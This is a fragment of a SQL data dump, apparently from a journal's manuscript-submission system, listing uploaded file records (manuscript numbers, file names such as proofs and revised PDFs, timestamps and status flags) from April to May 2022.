10:13:27',1,1,0),(32170,12710,'12710-0-Manuscript-2022-04-06.docx',NULL,'2022-04-06 10:16:12',1,1,0),(32171,12711,'12711-0-Manuscript-2022-04-06.pdf',NULL,'2022-04-06 11:49:09',1,1,0),(32172,12712,'12712-0-Manuscript-2022-04-06.docx',NULL,'2022-04-06 17:04:17',1,1,0),(32173,12713,'12713-1864-Manuscript-2022-04-06.phtml',NULL,'2022-04-06 23:18:49',1,1,0),(32174,12714,'12714-0-Manuscript-2022-04-06.phtml',NULL,'2022-04-06 23:20:57',1,1,0),(32175,12715,'12715-0-Manuscript-2022-04-06.phtml',NULL,'2022-04-06 23:22:51',1,1,0),(32176,12716,'12716-0-Manuscript-2022-04-06.phtml',NULL,'2022-04-06 23:24:07',1,1,0),(32177,12522,'12522-Manuscript-2022-04-07-dj2m.pdf',NULL,'2022-04-07 10:39:09',1,3,0),(32178,12670,'12670-1501-Manuscript-proof-submission-2022-04-07.rar',NULL,'2022-04-07 13:20:46',1,3,0),(32179,12717,'12717-0-Manuscript-2022-04-07.docx',NULL,'2022-04-07 14:19:38',1,1,0),(32180,12666,'12666-27-Manuscript-proof-submission-2022-04-07.zip',NULL,'2022-04-07 14:35:24',1,3,0),(32181,12718,'12718-0-Manuscript-2022-04-07.docx',NULL,'2022-04-07 18:48:02',1,1,0),(32182,12719,'12719-0-Manuscript-2022-04-08.docx',NULL,'2022-04-08 10:21:59',1,1,0),(32183,12666,'12666-Manuscript-2022-04-08-habs-ap-team-revised.rar',NULL,'2022-04-08 11:24:00',1,3,0),(32186,12666,'12666-Manuscript-2022-04-08-vur6-graphic-completed.pdf',NULL,'2022-04-08 14:43:37',1,3,0),(32187,12666,'12666-Manuscript-2022-04-08-se4f.pdf',NULL,'2022-04-08 17:35:07',1,3,0),(32188,12720,'12720-0-Manuscript-2022-04-08.docx',NULL,'2022-04-08 19:37:07',1,1,0),(32189,12666,'12666-Manuscript-2022-04-11-6qus-ap-ame-revised.pdf',NULL,'2022-04-11 10:14:24',1,3,0),(32190,12666,'12666-Manuscript-2022-04-11-6b2v.pdf',NULL,'2022-04-11 10:25:15',1,3,0),(32191,12670,'12670-Manuscript-2022-04-11-o19c-graphic-completed.pdf',NULL,'2022-04-11 15:16:31',1,3,0),(32192,12721,'12721-0-Manuscript-2022-04-12.docx',NULL,'2022-04-12 10:25:36',1,1,0),(32194,12723,'12723-0-Manuscript-2022-04-13.pdf',NULL,'2022-04-13 00:32:10',1,1,0),(32195,12699,'12699-1051-Manuscript-proof-submission-2022-04-13.rar',NULL,'2022-04-13 10:12:05',1,3,0),(32196,9999,'9999-250-Manuscript-proof-submission-2022-04-13.zip',NULL,'2022-04-13 14:42:13',1,3,0),(32197,12271,'12271-1643-Manuscript-proof-submission-2022-04-13.rar',NULL,'2022-04-13 14:56:51',1,3,0),(32198,12076,'12076-1926-Manuscript-proof-submission-2022-04-13.rar',NULL,'2022-04-13 15:04:37',1,3,0),(32199,12724,'12724-0-Manuscript-2022-04-13.docx',NULL,'2022-04-13 15:06:56',1,1,0),(32200,12133,'12133-142-Manuscript-proof-submission-2022-04-13.zip',NULL,'2022-04-13 15:14:06',1,3,0),(32201,12725,'12725-0-Manuscript-2022-04-13.docx',NULL,'2022-04-13 15:17:52',1,1,0),(32202,12075,'12075-1557-Manuscript-proof-submission-2022-04-13.rar',NULL,'2022-04-13 15:25:01',1,3,0),(32203,12726,'12726-0-Manuscript-2022-04-13.docx',NULL,'2022-04-13 16:04:01',1,1,0),(32204,12726,'12726-1-Manuscript-2022-04-13.docx',NULL,'2022-04-13 16:04:01',1,1,0),(32205,12726,'12726-2-Manuscript-2022-04-13.docx',NULL,'2022-04-13 16:04:01',1,1,0),(32206,12726,'12726-3-Manuscript-2022-04-13.docx',NULL,'2022-04-13 16:04:01',1,1,0),(32207,12726,'12726-4-Manuscript-2022-04-13.docx',NULL,'2022-04-13 16:04:01',1,1,0),(32208,12726,'12726-5-Manuscript-2022-04-13.docx',NULL,'2022-04-13 16:04:01',1,1,0),(32209,12726,'12726-6-Manuscript-2022-04-13.pdf',NULL,'2022-04-13 16:04:01',1,1,0),(32210,12726,'12726-7-Manuscript-2022-04-13.pdf',NULL,'2022-04-13 16:04:01',1,1,0),(32211,12726,'12726-8-Manuscript-2022-04-13.pdf',NULL,'2022-04-13 16:04:01',1,1,0),(32212,12581,'12581-710-Manuscript-proof-submission-2022-04-13.rar',NULL,'2022-04-13 16:50:37',1,3,0),(32213,12506,'12506-959-Manuscript-2022-04-13.docx',NULL,'2022-04-13 17:17:24',1,1,0),(32214,12727,'12727-0-Manuscript-2022-04-14.docx',NULL,'2022-04-14 11:52:56',1,1,0),(32215,12728,'12728-0-Manuscript-2022-04-15.docx',NULL,'2022-04-15 10:32:05',1,1,0),(32216,12728,'12728-565-Manuscript-2022-04-15.docx',NULL,'2022-04-15 10:42:48',1,1,0),(32217,11980,'11980-999-Manuscript-proof-submission-2022-04-15.PNG',NULL,'2022-04-15 17:48:02',1,3,0),(32219,12015,'12015-625-Manuscript-proof-submission-2022-04-16.rar',NULL,'2022-04-16 10:08:58',1,3,0),(32223,12703,'12703-700-Manuscript-proof-submission-2022-04-19.rar',NULL,'2022-04-19 09:33:17',1,3,0),(32224,12735,'12735-0-Manuscript-2022-04-19.docx',NULL,'2022-04-19 15:25:40',1,1,0),(32225,12506,'12506-181-Manuscript-proof-submission-2022-04-19.rar',NULL,'2022-04-19 16:50:44',1,3,0),(32227,11586,'11586-303-Manuscript-proof-submission-2022-04-20.rar',NULL,'2022-04-20 11:43:54',1,3,0),(32228,12273,'12273-1843-Manuscript-proof-submission-2022-04-20.rar',NULL,'2022-04-20 11:46:05',1,3,0),(32229,12281,'12281-788-Manuscript-proof-submission-2022-04-20.rar',NULL,'2022-04-20 12:10:51',1,3,0),(32230,12329,'12329-767-Manuscript-proof-submission-2022-04-20.rar',NULL,'2022-04-20 12:14:03',1,3,0),(32231,12494,'12494-132-Manuscript-proof-submission-2022-04-20.rar',NULL,'2022-04-20 12:20:51',1,3,0),(32232,12494,'12494-49-Manuscript-proof-submission-2022-04-20.rar',NULL,'2022-04-20 12:20:53',1,3,0),(32233,11806,'11806-1599-Manuscript-proof-submission-2022-04-20.rar',NULL,'2022-04-20 12:24:07',1,3,0),(32234,11914,'11914-900-Manuscript-proof-submission-2022-04-20.docx',NULL,'2022-04-20 13:45:06',1,3,0),(32235,12676,'12676-1867-Manuscript-proof-submission-2022-04-20.PNG',NULL,'2022-04-20 14:56:28',1,3,0),(32236,12673,'12673-473-Manuscript-proof-submission-2022-04-20.PNG',NULL,'2022-04-20 15:03:15',1,3,0),(32237,12737,'12737-0-Manuscript-2022-04-20.docx',NULL,'2022-04-20 15:35:36',1,1,0),(32238,12327,'12327-1334-Manuscript-proof-submission-2022-04-20.rar',NULL,'2022-04-20 15:36:25',1,3,0),(32239,12452,'12452-1109-Manuscript-proof-submission-2022-04-21.rar',NULL,'2022-04-21 13:49:37',1,3,0),(32240,12739,'12739-0-Manuscript-2022-04-21.docx',NULL,'2022-04-21 23:10:10',1,1,0),(32243,12742,'12742-0-Manuscript-2022-04-21.docx',NULL,'2022-04-21 23:49:14',1,1,0),(32244,12743,'12743-0-Manuscript-2022-04-22.docx',NULL,'2022-04-22 00:19:40',1,1,0),(32246,12745,'12745-0-Manuscript-2022-04-22.docx',NULL,'2022-04-22 00:57:36',1,1,0),(32247,12746,'12746-0-Manuscript-2022-04-22.docx',NULL,'2022-04-22 01:13:46',1,1,0),(32248,12747,'12747-0-Manuscript-2022-04-22.docx',NULL,'2022-04-22 01:36:30',1,1,0),(32249,12699,'12699-Manuscript-2022-04-22-z2tl.pdf',NULL,'2022-04-22 10:31:52',1,3,0),(32250,12581,'12581-Manuscript-2022-04-22-xdif.pdf',NULL,'2022-04-22 10:33:24',1,3,0),(32251,12327,'12327-Manuscript-2022-04-22-9sga-iphsj-22-12327.rar',NULL,'2022-04-22 13:59:51',1,3,0),(32252,12452,'12452-Manuscript-2022-04-22-8h6i-iphsj-22-12452.rar',NULL,'2022-04-22 18:35:07',1,3,0),(32253,12506,'12506-Manuscript-2022-04-22-1bra-iphsj-22-12506.rar',NULL,'2022-04-22 18:36:02',1,3,0),(32254,12703,'12703-Manuscript-2022-04-22-1miu-iphsj-22-12703.rar',NULL,'2022-04-22 18:37:24',1,3,0),(32255,12748,'12748-0-Manuscript-2022-04-22.docx',NULL,'2022-04-22 19:22:09',1,1,0),(32259,12752,'12752-0-Manuscript-2022-04-25.docx',NULL,'2022-04-25 09:08:56',1,1,0),(32260,12392,'12392-874-Manuscript-proof-submission-2022-04-25.docx',NULL,'2022-04-25 09:55:16',1,3,0),(32261,12753,'12753-0-Manuscript-2022-04-25.docx',NULL,'2022-04-25 11:28:27',1,1,0),(32262,12392,'12392-Manuscript-2022-04-25-2h61-ap-team-revised.docx',NULL,'2022-04-25 11:29:23',1,3,0),(32263,12392,'12392-Manuscript-2022-04-25-74fa-graphic-completed.pdf',NULL,'2022-04-25 12:21:55',1,3,0),(32264,12392,'12392-Manuscript-2022-04-25-zmeo.pdf',NULL,'2022-04-25 14:26:24',1,3,0),(32266,12688,'12688-47-Manuscript-proof-submission-2022-04-25.zip',NULL,'2022-04-25 17:43:05',1,3,0),(32267,12755,'12755-0-Manuscript-2022-04-25.doc',NULL,'2022-04-25 18:11:49',1,1,0),(32268,12688,'12688-Manuscript-2022-04-26-ferc-graphic-completed.pdf',NULL,'2022-04-26 12:27:45',1,3,0),(32269,12452,'12452-Manuscript-2022-04-26-7tuf-graphic-completed.pdf',NULL,'2022-04-26 14:01:26',1,3,0),(32270,12506,'12506-Manuscript-2022-04-26-cx5q-graphic-completed.pdf',NULL,'2022-04-26 14:01:40',1,3,0),(32271,12703,'12703-Manuscript-2022-04-26-pxd9-graphic-completed.pdf',NULL,'2022-04-26 14:01:50',1,3,0),(32272,12688,'12688-Manuscript-2022-04-26-l431.pdf',NULL,'2022-04-26 14:12:04',1,3,0),(32273,12688,'12688-Manuscript-2022-04-26-m2ld-ap-ame-revised.pdf',NULL,'2022-04-26 14:29:12',1,3,0),(32274,12688,'12688-Manuscript-2022-04-26-80lp.pdf',NULL,'2022-04-26 14:48:33',1,3,0),(32275,7477,'7477-1936-Manuscript-proof-submission-2022-04-26.zip',NULL,'2022-04-26 15:11:49',1,3,0),(32276,7477,'7477-Manuscript-2022-04-26-voaj-ipaom-21-7477.rar',NULL,'2022-04-26 16:01:32',1,3,0),(32277,12756,'12756-0-Manuscript-2022-04-27.docx',NULL,'2022-04-27 04:23:23',1,1,0),(32278,12756,'12756-1-Manuscript-2022-04-27.docx',NULL,'2022-04-27 04:23:23',1,1,0),(32280,12758,'12758-0-Manuscript-2022-04-27.docx',NULL,'2022-04-27 15:02:43',1,1,0),(32281,12759,'12759-0-Manuscript-2022-04-27.docx',NULL,'2022-04-27 19:50:53',1,1,0),(32282,12760,'12760-0-Manuscript-2022-04-27.docx',NULL,'2022-04-27 20:12:17',1,1,0),(32283,12760,'12760-1-Manuscript-2022-04-27.doc',NULL,'2022-04-27 20:12:17',1,1,0),(32286,12762,'12762-0-Manuscript-2022-04-28.docx',NULL,'2022-04-28 16:09:25',1,1,0),(32293,12013,'12013-Manuscript-2022-05-02-1xbm-ipaclr-21-12013.zip',NULL,'2022-05-02 10:32:52',1,3,0),(32294,12013,'12013-Manuscript-2022-05-02-zdv0-graphic-completed.pdf',NULL,'2022-05-02 10:35:01',1,3,0),(32296,12769,'12769-0-Manuscript-2022-05-02.doc',NULL,'2022-05-02 18:10:11',1,1,0),(32297,12769,'12769-1-Manuscript-2022-05-02.doc',NULL,'2022-05-02 18:10:11',1,1,0),(32298,12769,'12769-2-Manuscript-2022-05-02.docx',NULL,'2022-05-02 18:10:11',1,1,0),(32299,12769,'12769-3-Manuscript-2022-05-02.docx',NULL,'2022-05-02 18:10:11',1,1,0),(32300,12769,'12769-4-Manuscript-2022-05-02.pdf',NULL,'2022-05-02 18:10:11',1,1,0),(32301,12668,'12668-645-Manuscript-proof-submission-2022-05-03.zip',NULL,'2022-05-03 10:41:51',1,3,0),(32302,12668,'12668-Manuscript-2022-05-03-1pb7-ap-team-revised.rar',NULL,'2022-05-03 15:24:59',1,3,0),(32303,12692,'12692-1154-Manuscript-proof-submission-2022-05-03.zip',NULL,'2022-05-03 15:56:20',1,3,0),(32304,12327,'12327-Manuscript-2022-05-03-74p2.pdf',NULL,'2022-05-03 17:41:40',1,3,0),(32305,12692,'12692-Manuscript-2022-05-04-rlv9-ap-team-revised.rar',NULL,'2022-05-04 10:22:24',1,3,0),(32306,12770,'12770-0-Manuscript-2022-05-04.docx',NULL,'2022-05-04 11:11:14',1,1,0),(32307,12735,'12735-1022-Manuscript-proof-submission-2022-05-04.rar',NULL,'2022-05-04 15:38:59',1,3,0),(32308,12692,'12692-Manuscript-2022-05-04-dhja-graphic-completed.pdf',NULL,'2022-05-04 15:59:30',1,3,0),(32309,12407,'12407-563-Manuscript-proof-submission-2022-05-04.zip',NULL,'2022-05-04 17:12:22',1,3,0),(32310,7518,'7518-769-Manuscript-proof-submission-2022-05-04.docx',NULL,'2022-05-04 17:14:35',1,3,0),(32311,7518,'7518-1185-Manuscript-proof-submission-2022-05-04.docx',NULL,'2022-05-04 17:17:46',1,3,0),(32312,7517,'7517-1761-Manuscript-proof-submission-2022-05-04.docx',NULL,'2022-05-04 17:19:17',1,3,0),(32313,12735,'12735-Manuscript-2022-05-04-e8t5-iphsj-22-12735.rar',NULL,'2022-05-04 17:21:34',1,3,0),(32314,12692,'12692-Manuscript-2022-05-04-gifb.pdf',NULL,'2022-05-04 17:22:47',1,3,0),(32315,12692,'12692-Manuscript-2022-05-04-0zyd-ap-ame-revised.pdf',NULL,'2022-05-04 17:34:25',1,3,0),(32316,12692,'12692-Manuscript-2022-05-04-s1jt.pdf',NULL,'2022-05-04 17:36:18',1,3,0),(32317,12771,'12771-0-Manuscript-2022-05-04.docx',NULL,'2022-05-04 20:43:54',1,1,0),(32318,12691,'12691-171-Manuscript-2022-05-05.docx',NULL,'2022-05-05 00:15:33',1,1,0),(32319,12691,'12691-238-Manuscript-2022-05-05.docx',NULL,'2022-05-05 00:16:39',1,1,0),(32320,12668,'12668-Manuscript-2022-05-05-o5sm.pdf',NULL,'2022-05-05 11:36:03',1,3,0),(32321,12668,'12668-Manuscript-2022-05-05-49gc.pdf',NULL,'2022-05-05 12:11:46',1,3,0),(32322,12548,'12548-160-Manuscript-proof-submission-2022-05-05.docx',NULL,'2022-05-05 14:31:01',1,3,0),(32323,12548,'12548-1972-Manuscript-proof-submission-2022-05-05.docx',NULL,'2022-05-05 14:31:01',1,3,0),(32324,12548,'12548-1164-Manuscript-proof-submission-2022-05-05.docx',NULL,'2022-05-05 14:31:01',1,3,0),(32325,12548,'12548-927-Manuscript-proof-submission-2022-05-05.docx',NULL,'2022-05-05 14:31:03',1,3,0),(32326,12548,'12548-1158-Manuscript-proof-submission-2022-05-05.docx',NULL,'2022-05-05 14:31:03',1,3,0),(32327,12548,'12548-1003-Manuscript-proof-submission-2022-05-05.docx',NULL,'2022-05-05 14:31:03',1,3,0),(32328,12548,'12548-278-Manuscript-proof-submission-2022-05-05.docx',NULL,'2022-05-05 14:31:05',1,3,0),(32329,12548,'12548-846-Manuscript-proof-submission-2022-05-05.docx',NULL,'2022-05-05 14:31:05',1,3,0),(32330,12548,'12548-1015-Manuscript-proof-submission-2022-05-05.docx',NULL,'2022-05-05 14:31:05',1,3,0),(32331,12735,'12735-Manuscript-2022-05-05-7kdm-graphic-completed.pdf',NULL,'2022-05-05 15:31:39',1,3,0),(32332,12452,'12452-Manuscript-2022-05-05-4upx.pdf',NULL,'2022-05-05 17:05:55',1,3,0),(32333,12506,'12506-Manuscript-2022-05-05-vyk1.pdf',NULL,'2022-05-05 17:06:29',1,3,0),(32334,12703,'12703-Manuscript-2022-05-05-vza9.pdf',NULL,'2022-05-05 17:07:01',1,3,0),(32335,12735,'12735-Manuscript-2022-05-05-pug2.pdf',NULL,'2022-05-05 17:07:27',1,3,0),(32337,12773,'12773-0-Manuscript-2022-05-05.docx',NULL,'2022-05-05 23:11:40',1,1,0),(32338,12774,'12774-0-Manuscript-2022-05-06.docx',NULL,'2022-05-06 06:39:33',1,1,0),(32339,12774,'12774-1-Manuscript-2022-05-06.doc',NULL,'2022-05-06 06:39:33',1,1,0),(32340,11586,'11586-Manuscript-2022-05-06-fo5s-JFM-20-11586.zip',NULL,'2022-05-06 10:34:23',1,3,0),(32341,12273,'12273-Manuscript-2022-05-06-yisk-ap-team-revised.zip',NULL,'2022-05-06 10:35:45',1,3,0),(32342,12281,'12281-Manuscript-2022-05-06-ktuo-ap-team-revised.zip',NULL,'2022-05-06 10:36:49',1,3,0),(32343,12494,'12494-Manuscript-2022-05-06-w15g-ap-team-revised.zip',NULL,'2022-05-06 10:37:38',1,3,0),(32344,12329,'12329-Manuscript-2022-05-06-m1dj-ap-team-revised.zip',NULL,'2022-05-06 11:24:13',1,3,0),(32346,12281,'12281-Manuscript-2022-05-06-iuem-graphic-completed.pdf',NULL,'2022-05-06 13:51:38',1,3,0),(32347,12273,'12273-Manuscript-2022-05-06-s7oz-graphic-completed.pdf',NULL,'2022-05-06 14:01:56',1,3,0),(32348,12329,'12329-Manuscript-2022-05-06-2toz-graphic-completed.pdf',NULL,'2022-05-06 14:21:17',1,3,0),(32349,11586,'11586-Manuscript-2022-05-06-hzk4-graphic-completed.pdf',NULL,'2022-05-06 14:27:20',1,3,0),(32350,12494,'12494-Manuscript-2022-05-06-t75q-move-pdf-making.pdf',NULL,'2022-05-06 14:32:17',1,3,0),(32351,7517,'7517-Manuscript-2022-05-07-jxg1-ipaom-21-7517.docx',NULL,'2022-05-07 08:55:53',1,3,0),(32352,7518,'7518-Manuscript-2022-05-07-kvqj-ipaom-21-7518.docx',NULL,'2022-05-07 08:56:06',1,3,0),(32353,12407,'12407-Manuscript-2022-05-07-hltd-ap-team-revised.rar',NULL,'2022-05-07 08:56:16',1,3,0),(32354,12691,'12691-1620-Manuscript-proof-submission-2022-05-07.zip',NULL,'2022-05-07 10:13:09',1,3,0),(32356,12777,'12777-0-Manuscript-2022-05-07.docx',NULL,'2022-05-07 13:33:52',1,1,0),(32357,12777,'12777-1-Manuscript-2022-05-07.docx',NULL,'2022-05-07 13:33:52',1,1,0),(32358,12777,'12777-2-Manuscript-2022-05-07.docx',NULL,'2022-05-07 13:33:52',1,1,0),(32360,12691,'12691-Manuscript-2022-05-09-2gnt-ap-team-revised.rar',NULL,'2022-05-09 11:36:11',1,3,1),(32361,7518,'7518-Manuscript-2022-05-09-ix8w-graphic-completed.pdf',NULL,'2022-05-09 12:16:09',1,3,0),(32362,7517,'7517-Manuscript-2022-05-09-qulc-graphic-completed.pdf',NULL,'2022-05-09 12:17:22',1,3,0),(32363,12407,'12407-Manuscript-2022-05-09-mk39-graphic-completed.pdf',NULL,'2022-05-09 12:18:32',1,3,0),(32364,12698,'12698-422-Manuscript-proof-submission-2022-05-09.zip',NULL,'2022-05-09 15:52:36',1,3,0),(32365,12779,'12779-0-Manuscript-2022-05-10.docx',NULL,'2022-05-10 05:25:24',1,1,0),(32366,12779,'12779-1-Manuscript-2022-05-10.tiff',NULL,'2022-05-10 05:25:24',1,1,0),(32367,12779,'12779-2-Manuscript-2022-05-10.tiff',NULL,'2022-05-10 05:25:24',1,1,0),(32368,12779,'12779-3-Manuscript-2022-05-10.tiff',NULL,'2022-05-10 05:25:24',1,1,0),(32369,7517,'7517-Manuscript-2022-05-10-5yc1.pdf',NULL,'2022-05-10 09:07:26',1,3,0),(32370,7518,'7518-Manuscript-2022-05-10-ec49.pdf',NULL,'2022-05-10 09:07:40',1,3,0),(32371,12407,'12407-Manuscript-2022-05-10-8zai.pdf',NULL,'2022-05-10 09:07:54',1,3,0),(32372,7518,'7518-Manuscript-2022-05-10-6ndy-ap-ame-revised.pdf',NULL,'2022-05-10 10:38:06',1,3,0),(32373,7518,'7518-Manuscript-2022-05-10-486l-ap-ame-revised.pdf',NULL,'2022-05-10 10:39:06',1,3,0),(32374,12407,'12407-Manuscript-2022-05-10-6j3e-ap-ame-revised.pdf',NULL,'2022-05-10 10:41:04',1,3,0),(32375,12698,'12698-Manuscript-2022-05-10-ewqi-ap-team-revised.docx',NULL,'2022-05-10 11:52:45',1,3,0),(32376,12698,'12698-Manuscript-2022-05-10-idfn-ap-team-revised.rar',NULL,'2022-05-10 11:52:51',1,3,1),(32377,12548,'12548-Manuscript-2022-05-10-s3em-ap-team-revised.zip',NULL,'2022-05-10 12:18:07',1,3,0),(32378,7517,'7517-Manuscript-2022-05-10-e842.pdf',NULL,'2022-05-10 13:20:45',1,3,0),(32379,7518,'7518-Manuscript-2022-05-10-5sqn.pdf',NULL,'2022-05-10 13:21:02',1,3,0),(32380,12407,'12407-Manuscript-2022-05-10-tdnj.pdf',NULL,'2022-05-10 13:21:17',1,3,0),(32381,12691,'12691-Manuscript-2022-05-10-iqdb-graphic-completed.pdf',NULL,'2022-05-10 13:51:30',1,3,0),(32382,12669,'12669-131-Manuscript-proof-submission-2022-05-10.rar',NULL,'2022-05-10 15:03:04',1,3,0),(32383,12691,'12691-Manuscript-2022-05-10-0q1o.pdf',NULL,'2022-05-10 17:22:37',1,3,0),(32384,12548,'12548-Manuscript-2022-05-11-vmo6-graphic-completed.pdf',NULL,'2022-05-11 13:18:34',1,3,0),(32386,12720,'12720-219-Manuscript-proof-submission-2022-05-11.zip',NULL,'2022-05-11 17:03:49',1,3,0),(32387,12737,'12737-693-Manuscript-proof-submission-2022-05-11.zip',NULL,'2022-05-11 17:28:20',1,3,0),(32388,12737,'12737-Manuscript-2022-05-12-ca2b-jescc-20-12737.rar',NULL,'2022-05-12 13:21:17',1,3,0),(32389,12737,'12737-Manuscript-2022-05-12-isw1-ap-ame-revised.zip',NULL,'2022-05-12 13:29:25',1,3,0),(32390,12720,'12720-Manuscript-2022-05-12-q6jy-ap-team-revised.rar',NULL,'2022-05-12 14:18:58',1,3,0),(32391,12737,'12737-Manuscript-2022-05-13-awux-jescc-20-12737.rar',NULL,'2022-05-13 09:09:14',1,3,0),(32392,12698,'12698-Manuscript-2022-05-13-q0av-graphic-completed.pdf',NULL,'2022-05-13 10:31:48',1,3,0),(32393,12720,'12720-Manuscript-2022-05-13-qfp4-graphic-completed.pdf',NULL,'2022-05-13 10:32:18',1,3,0),(32394,12313,'12313-51-Manuscript-proof-submission-2022-05-13.rar',NULL,'2022-05-13 12:04:52',1,3,0),(32395,12737,'12737-Manuscript-2022-05-13-m30f-graphic-completed.pdf',NULL,'2022-05-13 13:34:15',1,3,0),(32396,12737,'12737-Manuscript-2022-05-13-bgqu.pdf',NULL,'2022-05-13 13:39:03',1,3,0),(32397,12720,'12720-Manuscript-2022-05-13-hjzc.pdf',NULL,'2022-05-13 14:04:47',1,3,0),(32398,12698,'12698-Manuscript-2022-05-13-vz0b-graphic-completed.pdf',NULL,'2022-05-13 14:09:57',1,3,0),(32399,12698,'12698-Manuscript-2022-05-13-8hfl.pdf',NULL,'2022-05-13 14:12:06',1,3,0),(32400,12457,'12457-1516-Manuscript-proof-submission-2022-05-13.rar',NULL,'2022-05-13 14:21:37',1,3,0),(32401,12720,'12720-Manuscript-2022-05-13-ewz3.pdf',NULL,'2022-05-13 15:08:34',1,3,0),(32402,12720,'12720-Manuscript-2022-05-13-w0m9.pdf',NULL,'2022-05-13 15:09:12',1,3,0),(32403,12781,'12781-0-Manuscript-2022-05-14.docx',NULL,'2022-05-14 09:54:35',1,1,0),(32404,12782,'12782-0-Manuscript-2022-05-15.docx',NULL,'2022-05-15 21:28:45',1,1,0),(32405,12554,'12554-1791-Manuscript-proof-submission-2022-05-16.rar',NULL,'2022-05-16 15:14:33',1,3,0),(32406,12783,'12783-0-Manuscript-2022-05-17.docx',NULL,'2022-05-17 06:43:11',1,1,0),(32407,12784,'12784-0-Manuscript-2022-05-17.docx',NULL,'2022-05-17 07:56:15',1,1,0),(32408,12313,'12313-Manuscript-2022-05-17-k31t-iphsj-22-12313.rar',NULL,'2022-05-17 11:11:06',1,3,0),(32409,12457,'12457-Manuscript-2022-05-17-qlfj-iphsj-22-12457.rar',NULL,'2022-05-17 11:13:13',1,3,0),(32410,12554,'12554-Manuscript-2022-05-17-txg2-iphsj-22-12554.rar',NULL,'2022-05-17 11:13:51',1,3,0),(32411,12669,'12669-Manuscript-2022-05-17-hz76-iphsj-22-12669.rar',NULL,'2022-05-17 11:14:18',1,3,0),(32412,12785,'12785-0-Manuscript-2022-05-17.doc',NULL,'2022-05-17 12:12:12',1,1,0),(32413,12571,'12571-822-Manuscript-proof-submission-2022-05-17.rar',NULL,'2022-05-17 14:48:24',1,3,0),(32414,12755,'12755-1118-Manuscript-proof-submission-2022-05-18.rar',NULL,'2022-05-18 13:20:25',1,3,0),(32415,12313,'12313-Manuscript-2022-05-18-e1lt-graphic-completed.pdf',NULL,'2022-05-18 17:11:58',1,3,0),(32416,12457,'12457-Manuscript-2022-05-18-7q19-graphic-completed.pdf',NULL,'2022-05-18 17:12:09',1,3,0),(32417,12554,'12554-Manuscript-2022-05-18-ups9-graphic-completed.pdf',NULL,'2022-05-18 17:12:24',1,3,0),(32418,12669,'12669-Manuscript-2022-05-18-8mnc-graphic-completed.pdf',NULL,'2022-05-18 17:12:35',1,3,0),(32419,12786,'12786-0-Manuscript-2022-05-18.docx',NULL,'2022-05-18 18:50:46',1,1,0),(32420,12787,'12787-0-Manuscript-2022-05-19.docx',NULL,'2022-05-19 12:01:23',1,1,0),(32421,12755,'12755-1229-Manuscript-proof-submission-2022-05-19.rar',NULL,'2022-05-19 12:02:57',1,3,0),(32422,12788,'12788-0-Manuscript-2022-05-20.docx',NULL,'2022-05-20 16:22:26',1,1,0),(32423,12789,'12789-0-Manuscript-2022-05-21.docx',NULL,'2022-05-21 06:21:00',1,1,0),(32424,12790,'12790-0-Manuscript-2022-05-21.docx',NULL,'2022-05-21 06:23:34',1,1,0),(32425,12791,'12791-0-Manuscript-2022-05-21.docx',NULL,'2022-05-21 06:32:21',1,1,0),(32427,12571,'12571-Manuscript-2022-05-21-aj9i-iphsj-22-12571.rar',NULL,'2022-05-21 11:02:47',1,3,0),(32428,12793,'12793-0-Manuscript-2022-05-21.docx',NULL,'2022-05-21 23:16:51',1,1,0),(32429,12794,'12794-0-Manuscript-2022-05-22.docx',NULL,'2022-05-22 08:22:23',1,1,0),(32430,12795,'12795-0-Manuscript-2022-05-22.docx',NULL,'2022-05-22 09:00:56',1,1,0),(32431,12796,'12796-0-Manuscript-2022-05-23.pdf',NULL,'2022-05-23 10:43:41',1,1,0),(32432,12797,'12797-0-Manuscript-2022-05-23.docx',NULL,'2022-05-23 12:45:30',1,1,0),(32433,12798,'12798-0-Manuscript-2022-05-24.docx',NULL,'2022-05-24 12:38:42',1,1,0),(32435,12571,'12571-Manuscript-2022-05-24-us5j-graphic-completed.pdf',NULL,'2022-05-24 17:17:28',1,3,0),(32436,12755,'12755-Manuscript-2022-05-24-cu63-graphic-completed.pdf',NULL,'2022-05-24 17:17:36',1,3,0),(32437,11493,'11493-1510-Manuscript-proof-submission-2022-05-25.rar',NULL,'2022-05-25 11:06:47',1,3,0),(32438,12675,'12675-569-Manuscript-proof-submission-2022-05-25.rar',NULL,'2022-05-25 11:27:20',1,3,0),(32439,12674,'12674-1845-Manuscript-proof-submission-2022-05-25.rar',NULL,'2022-05-25 11:48:20',1,3,0),(32440,12674,'12674-1260-Manuscript-proof-submission-2022-05-25.rar',NULL,'2022-05-25 11:48:22',1,3,0),(32441,12565,'12565-1490-Manuscript-proof-submission-2022-05-25.rar',NULL,'2022-05-25 11:59:25',1,3,0),(32442,12565,'12565-621-Manuscript-proof-submission-2022-05-25.rar',NULL,'2022-05-25 11:59:27',1,3,0),(32443,12565,'12565-1783-Manuscript-proof-submission-2022-05-25.rar',NULL,'2022-05-25 11:59:28',1,3,0),(32444,12718,'12718-470-Manuscript-proof-submission-2022-05-25.rar',NULL,'2022-05-25 12:07:59',1,3,0),(32445,12799,'12799-0-Manuscript-2022-05-25.pdf',NULL,'2022-05-25 14:18:19',1,1,0),(32446,11493,'11493-Manuscript-2022-05-26-v81e-ap-team-revised.zip',NULL,'2022-05-26 16:51:09',1,3,0),(32447,12675,'12675-Manuscript-2022-05-26-gmr2-ijps-20-12675.zip',NULL,'2022-05-26 16:54:35',1,3,0),(32448,12674,'12674-Manuscript-2022-05-26-34yn-ap-team-revised.zip',NULL,'2022-05-26 16:58:44',1,3,0),(32449,12565,'12565-Manuscript-2022-05-26-vp4r-cocr-20-12565.zip',NULL,'2022-05-26 17:04:58',1,3,0),(32450,12718,'12718-Manuscript-2022-05-26-cebj-fmijcr-20-12718.zip',NULL,'2022-05-26 17:05:48',1,3,0),(32456,12803,'12803-0-Manuscript-2022-05-29.docx',NULL,'2022-05-29 11:13:22',1,1,0),(32457,12803,'12803-1-Manuscript-2022-05-29.pdf',NULL,'2022-05-29 11:13:22',1,1,0),(32458,12745,'12745-193-Manuscript-proof-submission-2022-05-30.rar',NULL,'2022-05-30 14:41:26',1,3,0),(32459,12746,'12746-1228-Manuscript-proof-submission-2022-05-30.rar',NULL,'2022-05-30 14:42:06',1,3,0),(32460,12747,'12747-1395-Manuscript-proof-submission-2022-05-30.rar',NULL,'2022-05-30 14:51:44',1,3,0),(32461,12748,'12748-692-Manuscript-proof-submission-2022-05-30.rar',NULL,'2022-05-30 14:56:32',1,3,0),(32462,12804,'12804-0-Manuscript-2022-05-30.docx',NULL,'2022-05-30 